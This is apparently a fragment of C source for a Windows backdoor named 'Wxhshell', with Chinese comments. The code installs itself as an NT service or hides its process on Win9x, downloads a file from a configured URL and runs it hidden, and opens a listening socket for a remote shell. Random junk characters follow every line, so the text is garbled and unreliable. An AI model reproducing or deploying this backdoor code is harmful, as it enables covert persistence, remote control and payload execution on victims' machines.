DWORD PebBaseAddress; #c_ZU\"h"
DWORD AffinityMask; ,\b5M`<c
DWORD BasePriority; .#}R$}e+
ULONG UniqueProcessId; 7y&`H
ULONG InheritedFromUniqueProcessId; %,BJkNV
} PROCESS_BASIC_INFORMATION; t/w>t! q
e$Ej7_.#;
PROCNTQSIP NtQueryInformationProcess; W:G*t4i
R<U<Y'Y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -q27N^A0
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ym6[~=~EK
|BR&p)7)
HANDLE hProcess; xe'*%3-v)
PROCESS_BASIC_INFORMATION pbi; M'sJ5;^5
u/:@+rTV_
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #<:khs6
if(NULL == hInst ) return 0; ;pJ7k23(
b%6_LK[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,==lgM2V>
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <ZLs+|1
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qmGB~N|N
9b>a<Z
if (!NtQueryInformationProcess) return 0; (msJ:SG
.W\Fa2}%av
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Om*Dy}
if(!hProcess) return 0; ?p]w_l
(Y86q\DQ?|
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fsu'W]f
3mWN?fC
CloseHandle(hProcess); :HC{6W`$
q :gH`5N
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >*&[bW'}?
if(hProcess==NULL) return 0; \W4SZR%u
c8'?Dd
HMODULE hMod; ;XjKWM;
char procName[255]; G|V ^C_:
unsigned long cbNeeded; e>/PW&Z8Z
wp$=lU{B
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aE+E'iL
]M.ufbg uq
CloseHandle(hProcess); '(?@R5a
]GJskBm
if(strstr(procName,"services")) return 1; // 以服务启动 MEE]6nU
Mppb34y
return 0; // 注册表启动 y3vOb , 4
} -H{{
$%/Zm*H
// 主模块 1mf_1spB
int StartWxhshell(LPSTR lpCmdLine) fE >FT9c
{ &A>J>b
SOCKET wsl; 7J)-WXk
BOOL val=TRUE; /}V9*mD2
int port=0; C]}0h!_V
struct sockaddr_in door; ]0o78(/w2
2HUoT\M
if(wscfg.ws_autoins) Install(); }wn GOr
|oX l+&u
port=atoi(lpCmdLine); a83o(9
<=p"ck@
if(port<=0) port=wscfg.ws_port; lPjgBp{/
7kO
1d{u6b
WSADATA data; <I7UyCAF
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; & )Z JT.S
P;h/)-q8
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
!9-dS=:Y
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %"o4IYV#
door.sin_family = AF_INET; e_Y>[/Om
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gz`Zp "i%0
door.sin_port = htons(port); c#_%|gg
$OmtN"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p[cC%3
closesocket(wsl); Te;`-EL
return 1; p!=/a)4X
} 5ES$qYN
N52N ^X>
if(listen(wsl,2) == INVALID_SOCKET) { avdi9!J2
closesocket(wsl); rLp0VKPe
return 1; B4|3@X0(
} - iU7'
Wxhshell(wsl); nfd^'}$]
WSACleanup(); }pA0mW9
778a)ZOzb
return 0; |3s-BKbN4
)x]/b=m
} /Z-|E
'M&`l%dIPf
// 以NT服务方式启动 )U5AnL
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Dp>/lkk.
{ U<Ag=vsZE
DWORD status = 0; V;.=O}Lr
DWORD specificError = 0xfffffff; /6g*WX2P1
5<9}{X+@o
serviceStatus.dwServiceType = SERVICE_WIN32; ?'^xO:
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,w
c|YI)E
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M>-x\[n+
serviceStatus.dwWin32ExitCode = 0; t~e.LxN
serviceStatus.dwServiceSpecificExitCode = 0; *c. *e4uzF
serviceStatus.dwCheckPoint = 0; (T,ST3{*k
serviceStatus.dwWaitHint = 0; q^EG'\<^
I/t2c=f
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0&zp9(G5
if (hServiceStatusHandle==0) return; _K'YaZTa;~
<.#i3!
status = GetLastError(); fi`*r\
if (status!=NO_ERROR) C4ge_u#
{ ``U>9S"p)
serviceStatus.dwCurrentState = SERVICE_STOPPED; %-> X$,Q
:
serviceStatus.dwCheckPoint = 0; %vgn>A?]1
serviceStatus.dwWaitHint = 0; iWO16=
serviceStatus.dwWin32ExitCode = status; k]w;(<
serviceStatus.dwServiceSpecificExitCode = specificError; 8H;yrNL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); tK1P7pbC8r
return; j%0D:jOY]
} YDO#Q= q%
WUZusW5s
serviceStatus.dwCurrentState = SERVICE_RUNNING; bDRl}^aO6
serviceStatus.dwCheckPoint = 0; 4;y*y tY*
serviceStatus.dwWaitHint = 0; J&2cf#
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p v%`aQ]o{
} IOomBy:
wm_xH_{F
// 处理NT服务事件,比如:启动、停止 K '7M\:zy
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5V8WSnO
{ >E6w,Ab
switch(fdwControl) vT)FLhH6*
{ ,x&T8o/a
case SERVICE_CONTROL_STOP: #,lJ>mTe4
serviceStatus.dwWin32ExitCode = 0; [s"xOP9R
serviceStatus.dwCurrentState = SERVICE_STOPPED; AfB,`l`k
serviceStatus.dwCheckPoint = 0; s&TPG0W
serviceStatus.dwWaitHint = 0; RX \%R
{ Igrr"NuDZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2XNO*zbve
} h:[%' htz
return; 3P N<J
case SERVICE_CONTROL_PAUSE: %xPJJ$P
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7\H jQ7__
break; :;HJ3V;
case SERVICE_CONTROL_CONTINUE: t,Ss3
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7M7sq-n5z
break; "MOM@4\
case SERVICE_CONTROL_INTERROGATE:
]?M3X_Mq
break; K+p7yZJ
}; dv1Y2[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B 'SLyf
} hR(\ %p
Y,n&g45m
// 标准应用程序主函数 5bBY[qp
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P-U9FKrt
{ Xw)W6H|
O4t0 VL$
// 获取操作系统版本 7wKT:~~oS3
OsIsNt=GetOsVer(); VN]70LFz*i
GetModuleFileName(NULL,ExeFile,MAX_PATH); > &tmdE
8Mg wXH
// 从命令行安装 SI\
O>a9{
if(strpbrk(lpCmdLine,"iI")) Install(); <5BNcl\ZL
>>%m,F[
// 下载执行文件 'A2^K5`3
if(wscfg.ws_downexe) { m?GBvL$
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M-7^\wXTA
WinExec(wscfg.ws_filenam,SW_HIDE); !-B$WAV
} B:oE&Ahh{
r^zra|]
if(!OsIsNt) { ;iq H:wO
// 如果时win9x,隐藏进程并且设置为注册表启动 { 0?^ $R8j
HideProc(); \3q Z0
StartWxhshell(lpCmdLine); a!guZUg6
} !A":L0[7n
else &Zy%Zz
if(StartFromService()) rJtpTV@.
// 以服务方式启动 s`#g<_ {X
StartServiceCtrlDispatcher(DispatchTable); jEu-CU#:
else o&-D[|E|
// 普通方式启动 <!;NJLe`
StartWxhshell(lpCmdLine); r?7tI0
SJ*qgI?}T
return 0; \l-JU
}